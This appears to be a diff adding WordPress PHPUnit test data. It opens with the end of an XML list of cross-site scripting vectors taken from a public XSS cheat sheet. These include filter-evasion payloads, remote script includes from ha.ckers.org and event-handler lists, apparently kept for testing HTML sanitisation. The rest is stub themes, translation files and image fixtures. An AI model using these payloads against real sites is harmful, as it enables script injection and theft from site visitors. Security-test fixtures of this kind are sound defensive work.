+		<name>Non-Alpha/Non-Digit Part 2</name> 
+		<code>&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;</code> 
+		<desc>Non-alpha-non-digit XSS part 2.  yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>No Closing Script Tag</name> 
+		<code>&lt;SCRIPT SRC=http://ha.ckers.org/xss.js</code> 
+		<desc>In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&apos;t actually need the &quot;&gt;&lt;/SCRIPT&gt;&quot; portion of this Cross Site Scripting vector. Firefox assumes it&apos;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&apos;t affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&apos;re not needed generally.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Protocol resolution in script tags</name> 
+		<code>&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</code> 
+		<desc>This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh&apos;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The &quot;.j&quot; is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Half-Open HTML/JavaScript</name> 
+		<code>&lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;</code> 
+		<desc>Unlike Firefox, the IE rendering engine doesn&apos;t add extra data to your page, but it does allow the &quot;javascript:&quot; directive in images. This is useful as a vector because it doesn&apos;t require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close &gt; tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex:
+	/((\%3D)|(=))[^\n]*((\%3C)|&lt;)[^\n]+((\%3E)|>)/ 
+As a side note, this was also effective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Double open angle brackets</name> 
+		<code>&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;</code> 
+		<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it&apos;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&apos;t</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Extraneous Open Brackets</name> 
+		<code>&lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;</code> 
+		<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/).  This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).  The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Malformed IMG Tags</name> 
+		<code>&lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+		<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.  I assume this was originally meant to correct sloppy coding.  This would make it significantly more difficult to correctly parse apart an HTML tag.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>No Quotes/Semicolons</name> 
+		<code>&lt;SCRIPT&gt;a=/XSS/
+alert(a.source)&lt;/SCRIPT&gt;</code> 
+		<desc>No single quotes or double quotes or semicolons.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 1</name> 
+		<code>See Below</code> 
+		<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
+			
+-FSCommand() (execute from within an embedded Flash object)
+ 
+-onAbort() (when user aborts the loading of an image)
+ 
+-onActivate() (when object is set as the active element)
+ 
+-onAfterPrint() (activates after user prints or previews print job)
+ 
+-onAfterUpdate() (activates on data object after updating data in the source object)
+ 
+-onBeforeActivate() (fires before the object is set as the active element)
+ 
+-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand(&quot;Copy&quot;) function)
+ 
+-onBeforeCut() (attacker executes the attack string right before a selection is cut)
+ 
+-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
+ 
+-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
+ 
+-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(&quot;Paste&quot;) function)
+ 
+-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(&quot;Print&quot;) function)
+ 
+-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
+ 
+-onBegin() (fires immediately when the element&apos;s timeline begins)
+ 
+-onBlur() (in the case where another popup is loaded and window loses focus)
+ 
+-onBounce() (fires when the behavior property of the marquee object is set to &quot;alternate&quot; and the contents of the marquee reach one side of the window)
+ 
+-onCellChange() (fires when data changes in the data provider)
+ 
+-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
+ 
+-onClick() (fires when someone clicks on a form)
+ 
+-onContextMenu() (user would need to right click on attack area)
+ 
+-onControlSelect() (fires when the user is about to make a control selection of the object)
+ 
+-onCopy() (user needs to copy something or it can be exploited using the execCommand(&quot;Copy&quot;) command)
+ 
+-onCut() (user needs to copy something or it can be exploited using the execCommand(&quot;Cut&quot;) command)
+ 
+-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
+ 
+-onDataSetChanged() (fires when the data set exposed by a data source object changes)
+ 
+-onDataSetComplete() (fires to indicate that all data is available from the data source object)
+ 
+-onDblClick() (fires when user double-clicks a form element or a link)
+ 
+-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
+ 
+-onDrag() (requires that the user drags an object)
+ 
+-onDragEnd() (requires that the user drags an object)
+ 
+-onDragLeave() (requires that the user drags an object off a valid location)
+ 
+-onDragEnter() (requires that the user drags an object into a valid location)
+ 
+-onDragOver() (requires that the user drags an object into a valid location)
+ 
+-onDragDrop() (user drops an object (e.g. file) onto the browser window)
+ 
+-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 2</name> 
+		<code>See Below</code> 
+		<desc>-onEnd() (fires when the timeline ends.  This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=&quot;behavior:url(&apos;#default#time2&apos;)&quot; onEnd=&quot;alert(&apos;XSS&apos;)&quot;&gt;)
+			
+-onError() (loading of a document or image causes an error)
+ 
+-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
+ 
+-onFilterChange() (fires when a visual filter completes state change)
+ 
+-onFinish() (attacker could create the exploit when marquee is finished looping)
+ 
+-onFocus() (attacker executes the attack string when the window gets focus)
+ 
+-onFocusIn() (attacker executes the attack string when window gets focus)
+ 
+-onFocusOut() (attacker executes the attack string when window loses focus)
+ 
+-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
+ 
+-onKeyDown() (fires when user depresses a key)
+ 
+-onKeyPress() (fires when user presses or holds down a key)
+ 
+-onKeyUp() (fires when user releases a key)
+ 
+-onLayoutComplete() (user would have to print or print preview)
+ 
+-onLoad() (attacker executes the attack string after the window loads)
+ 
+-onLoseCapture() (can be exploited by the releaseCapture() method)
+ 
+-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
+ 
+-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
+ 
+-onMouseDown() (the attacker would need to get the user to click on an image)
+ 
+-onMouseEnter() (fires when cursor moves over an object or area)
+ 
+-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 
+-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
+ 
+-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
+ 
+-onMouseOver() (fires when cursor moves over an object or area)
+ 
+-onMouseUp() (the attacker would need to get the user to click on an image)
+ 
+-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
+ 
+-onMove() (user or attacker would move the page)
+ 
+-onMoveEnd() (user or attacker would move the page)
+ 
+-onMoveStart() (user or attacker would move the page)
+ 
+-onOutOfSync() (interrupt the element&apos;s ability to play its media as defined by the timeline)
+ 
+-onPaste() (user would need to paste or attacker could use the execCommand(&quot;Paste&quot;) function)
+ 
+-onPause() (fires on every element that is active when the timeline pauses, including the body element)
+ 
+-onProgress() (attacker would use this as a flash movie was loading)
+ 
+-onPropertyChange() (user or attacker would need to change an element property)
+ 
+-onReadyStateChange() (user or attacker would need to change an element property)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Event Handlers List 3</name> 
+		<code>See Below</code> 
+		<desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
+			
+-onReset() (fires when user or attacker resets a form)
+ 
+-onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;)
+ 
+-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
+ 
+-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
+ 
+-onRowEnter() (user or attacker would need to change a row in a data source)
+ 
+-onRowExit() (user or attacker would need to change a row in a data source)
+ 
+-onRowsDelete() (user or attacker would need to delete a row in a data source)
+ 
+-onRowsInserted() (user or attacker would need to insert a row in a data source)
+ 
+-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
+ 
+-onSeek() (fires when the timeline is set to play in any direction other than forward)
+ 
+-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);)
+ 
+-onStart() (fires at the beginning of each marquee loop)
+ 
+-onStop() (user would need to press the stop button or leave the webpage)
+ 
+-onSyncRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire)
+ 
+-onSubmit() (requires attacker or user submits a form)
+ 
+-onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value)
+ 
+-onTrackChange() (fires when user or attacker changes track in a playList)
+ 
+-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
+ 
+-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
+ 
+-seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
+</desc> 
+		<label>Event Handlers</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 1</name> 
+		<code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter:
+	/&lt;script[^&gt;]+src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 2</name> 
+		<code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i
+	
+(this is an important one, because I&apos;ve seen this regex in the wild)</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 3</name> 
+		<code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Another XSS to evade this regex filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 4</name> 
+		<code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Yet another XSS to evade the same filter:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i 
+The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Evade Regex Filter 5</name> 
+		<code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>And one last XSS attack (using grave accents) to evade this regex:
+	/&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Filter Evasion 1</name> 
+		<code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Filter Evasion 2</name> 
+		<code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> 
+		<label>XSS w/HTML Quote Encapsulation</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack>
+</xss>

BIN
tests/phpunit/data/images/2004-07-22-DSC_0007.jpg


BIN
tests/phpunit/data/images/2004-07-22-DSC_0008.jpg


BIN
tests/phpunit/data/images/2007-06-17DSC_4173.JPG


BIN
tests/phpunit/data/images/a2-small.jpg


BIN
tests/phpunit/data/images/canola.jpg


BIN
tests/phpunit/data/images/gradient-square.jpg


BIN
tests/phpunit/data/images/test-image-cmyk.jpg


BIN
tests/phpunit/data/images/test-image-grayscale.jpg


BIN
tests/phpunit/data/images/test-image-iptc.jpg


BIN
tests/phpunit/data/images/test-image-lzw.tiff


BIN
tests/phpunit/data/images/test-image-mime-jpg.png


BIN
tests/phpunit/data/images/test-image-zip.tiff


BIN
tests/phpunit/data/images/test-image.bmp


BIN
tests/phpunit/data/images/test-image.gif


BIN
tests/phpunit/data/images/test-image.jp2


BIN
tests/phpunit/data/images/test-image.jpg


BIN
tests/phpunit/data/images/test-image.pct


BIN
tests/phpunit/data/images/test-image.png


BIN
tests/phpunit/data/images/test-image.psd


BIN
tests/phpunit/data/images/test-image.sgi


BIN
tests/phpunit/data/images/test-image.tga


BIN
tests/phpunit/data/images/test-image.tiff


BIN
tests/phpunit/data/images/transparent.png


BIN
tests/phpunit/data/images/waffles.jpg


+ 14 - 0
tests/phpunit/data/plugins/hello.php

@@ -0,0 +1,14 @@
+<?php
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/#
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.5.1
+Author URI: http://ma.tt/
+Text Domain: hello-dolly
+
+*/
+
+// Test for 
+?>

BIN
tests/phpunit/data/pomo/bad_nplurals.mo


+ 18 - 0
tests/phpunit/data/pomo/bad_nplurals.po

@@ -0,0 +1,18 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: bbPress 1.0.4 alpha\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-12-26 17:07+0100\n"
+"Last-Translator: Fernando Tellado <fernando.tellado@gmail.com>\n"
+"Language-Team: ayudawordpress.com <admin@ayudawordpress.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: spanish\n"
+"X-Poedit-Country: spain\n"
+"Plural-Forms: nplurals=2; plural=n !=1;\\n\n"
+
+msgid "%d forum"
+msgid_plural "%d forums"
+msgstr[0] "%d foro"
+msgstr[1] "%d foros"

BIN
tests/phpunit/data/pomo/context.mo


BIN
tests/phpunit/data/pomo/de_DE-2.8.mo


+ 0 - 0
tests/phpunit/data/pomo/empty.po


+ 25 - 0
tests/phpunit/data/pomo/mo.pot

@@ -0,0 +1,25 @@
+# SOME DESCRIPTIVE TITLE.
+# Copyright (C) YEAR WordPress
+# This file is distributed under the same license as the PACKAGE package.
+# FIRST AUTHOR <EMAIL@ADDRESS>, YEAR.
+#
+#, fuzzy
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: wp-polyglots@lists.automattic.com\n"
+"POT-Creation-Date: 2009-06-28 11:07+0000\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-admin/includes/continents-cities.php:7
+msgid "Africa"
+msgstr ""
+
+#: wp-admin/includes/continents-cities.php:8
+msgid "Abidjan"
+msgstr ""

BIN
tests/phpunit/data/pomo/overload.mo


BIN
tests/phpunit/data/pomo/plural.mo


BIN
tests/phpunit/data/pomo/simple.mo


+ 54 - 0
tests/phpunit/data/pomo/simple.po

@@ -0,0 +1,54 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: WordPress 2.6-bleeding\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr ""
+
+msgctxt "brum"
+msgid "strut"
+msgid_plural "struts"
+msgstr[0] "ztrut0"
+msgstr[1] "ztrut1"
+msgstr[2] "ztrut2"
+
+msgid ""
+"The first thing you need to do is tell Blogger to let WordPress access your "
+"account. You will be sent back here after providing authorization."
+msgstr "baba\n"
+"dyado"
+"gugu"
+
+msgctxt ""
+"con"
+"text"
+msgid ""
+"sing"
+"ular"
+msgid_plural ""
+"plu"
+"ral"
+msgstr[0] ""
+"trans"
+"lation0"
+msgstr[1] ""
+"trans"
+"lation1"
+msgstr[2] ""
+"translation2"
+
+
+
+# baba
+#: wp-admin/x.php:111 baba:333
+#. translators: buuu
+#       brubru
+#, fuzzy
+#: baba
+msgid "a"
+msgstr ""
+
+msgid "a\""
+msgstr ""
+

+ 7 - 0
tests/phpunit/data/pomo/windows-line-endings.po

@@ -0,0 +1,7 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Windows 3.11\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+
+msgid "moon"
+msgstr "yuhu"

+ 0 - 0
tests/phpunit/data/themedir1/broken-theme/.nodelete


+ 7 - 0
tests/phpunit/data/themedir1/default/functions.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 7 - 0
tests/phpunit/data/themedir1/default/index.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 17 - 0
tests/phpunit/data/themedir1/default/style.css

@@ -0,0 +1,17 @@
+/*  
+Theme Name: WordPress Default
+Theme URI: http://wordpress.org/
+Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
+Version: 1.6
+Author: Michael Heilemann
+Author URI: http://binarybonsai.com/
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+This is just a stub to test the loading of the above metadata.
+
+*/
+
+
+

+ 3 - 0
tests/phpunit/data/themedir1/page-templates/index.php

@@ -0,0 +1,3 @@
+<?php
+// Intentionally left blank
+?>

+ 11 - 0
tests/phpunit/data/themedir1/page-templates/style.css

@@ -0,0 +1,11 @@
+/*  
+Theme Name: Page Template Theme
+Theme URI: http://example.org/
+Description: An example theme with page templates
+Version: 0.1
+Author: Mr. WordPress
+Author URI: http://wordpress.org/
+
+This is just a stub to test the loading of the above metadata.
+
+*/

+ 5 - 0
tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php

@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Sub Dir 
+ */
+?>

+ 1 - 0
tests/phpunit/data/themedir1/page-templates/template-header.php

@@ -0,0 +1 @@
+<?php // Template Name: This Template Header Is On One Line ?>

+ 5 - 0
tests/phpunit/data/themedir1/page-templates/template-top-level.php

@@ -0,0 +1,5 @@
+<?php
+/*
+   Template Name: Top Level 
+ */
+?>

+ 7 - 0
tests/phpunit/data/themedir1/sandbox/functions.php

@@ -0,0 +1,7 @@
+<?php
+
+// dummy theme
+
+echo dirname(__FILE__).'/'.basename(__FILE__);
+
+?>

+ 7 - 0
tests/phpunit/data/themedir1/sandbox/index.php

